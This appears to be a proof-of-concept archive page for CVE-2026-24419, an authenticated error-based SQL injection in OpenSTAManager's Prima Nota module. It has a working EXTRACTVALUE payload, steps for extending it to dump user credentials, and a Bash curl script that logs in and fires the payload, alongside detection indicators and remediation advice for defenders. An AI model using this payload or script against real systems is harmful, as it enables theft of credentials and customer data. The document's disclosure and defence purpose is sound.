PoC Archive PoC Archive
High CVE-2026-24419 patched

OpenSTAManager Prima Nota Error-Based SQL Injection — CVE-2026-24419

by Łukasz Rybak (lukasz-rybak) · 2026-07-05

Severity
High
CVE
CVE-2026-24419
Category
web
Affected product
OpenSTAManager (devcode-it/openstamanager)
Affected versions
<= 2.9.8
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherŁukasz Rybak (lukasz-rybak)
CVE / AdvisoryCVE-2026-24419
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagssql-injection, error-based, openstamanager, php, extractvalue, credential-theft, authenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenSTAManager (devcode-it/openstamanager)
Versions Affected<= 2.9.8
Language / PlatformPHP web application; PoC written in Bash (curl)
Authentication RequiredYes (any valid authenticated user)
Network Access RequiredYes

Summary

The Prima Nota (journal entry) module’s add.php reads the id_documenti GET parameter, splits it on commas with explode(), but never validates that the resulting elements are integers before imploding them back into a SQL IN() clause used to look up idanagrafica from co_documenti. An authenticated attacker can supply a crafted value such as 1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT ...)))# to break out of the intended numeric context and trigger an XPATH syntax error whose message discloses the result of an arbitrary subquery — for example the database user and version. This is a classic error-based SQL injection that requires no time-based inference, making extraction fast and reliable.


Vulnerability Details

Root Cause

/modules/primanota/add.php (lines ~63-67) retrieves id_documenti via get() and calls explode(',', (string) $id_documenti) without validating that elements are integers; line ~306 then implode()s the array directly into a SQL IN() clause without using prepare(), allowing injected SQL to reach the query.

Attack Vector

  1. Authenticate to OpenSTAManager with any valid user account.
  2. Send a GET request to /modules/primanota/add.php with id_documenti=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))#.
  3. Read the resulting XPATH syntax error in the HTTP response, which embeds the subquery result (e.g. ~osm@172.18.0.3 | 8.3.0).
  4. Substitute arbitrary subqueries (e.g. against zz_users) and chunk long results with SUBSTRING() to exfiltrate credentials and other sensitive data.

Impact

Direct, low-effort extraction of database contents (user credentials, customer PII, financial records) by any authenticated user via a single crafted request per data point.


Environment / Lab Setup

Target:   OpenSTAManager <= 2.9.8 (PHP/MySQL), e.g. http://localhost:8081
Attacker: curl

Proof of Concept

PoC Script

See poc_primanota_sqli.sh in this folder.

1
./poc_primanota_sqli.sh http://localhost:8081 admin admin

The script logs in and sends a single GET request with an EXTRACTVALUE()-based payload in id_documenti, printing the resulting XPATH error that discloses the database user and version.


Detection & Indicators of Compromise

GET /modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(...)%23
SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~<leaked data>'

Signs of compromise:

  • Requests to /modules/primanota/add.php with id_documenti values containing ), AND, EXTRACTVALUE(/UPDATEXML( rather than plain comma-separated integers.
  • Repeated near-identical requests differing only in SUBSTRING() offsets (indicates scripted data extraction).
  • MySQL error logs showing XPATH syntax errors correlated with Prima Nota module access.

Remediation

ActionDetail
Primary fixValidate/cast all id_documenti elements as integers (e.g. array_map('intval', ...) plus filtering non-positive values) before use, or use prepare() for the IN() clause — upgrade to a patched OpenSTAManager release once available.
Interim mitigationWAF rule rejecting non-numeric characters in id_documenti; restrict Prima Nota access to trusted roles; monitor for XPATH errors in application logs.

References


Notes

Mirrored from https://github.com/lukasz-rybak/CVE-2026-24419 on 2026-07-05.

poc_primanota_sqli.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env bash
# CVE-2026-24419 - OpenSTAManager <= 2.9.8
# Error-Based SQL Injection in the Prima Nota (Journal Entry) module via the
# `id_documenti` GET parameter of /modules/primanota/add.php (unvalidated
# comma-separated values fed into a SQL IN() clause).
#
# Usage: ./poc_primanota_sqli.sh http://target:8081 admin admin

TARGET="${1:-http://localhost:8081}"
USER="${2:-admin}"
PASS="${3:-admin}"
COOKIES=/tmp/cookies_24419.txt

echo "[*] Step 1: Login"
curl -c "$COOKIES" -s -X POST "$TARGET/index.php?op=login" \
  -d "username=${USER}&password=${PASS}" -o /dev/null

echo "[*] Step 2: Error-based extraction of DB user + version via EXTRACTVALUE()"
curl -s -b "$COOKIES" \
  "$TARGET/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"

echo
echo "[*] Expected response contains an XPATH syntax error leaking data, e.g.:"
echo "    SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~osm@172.18.0.3 | 8.3.0'"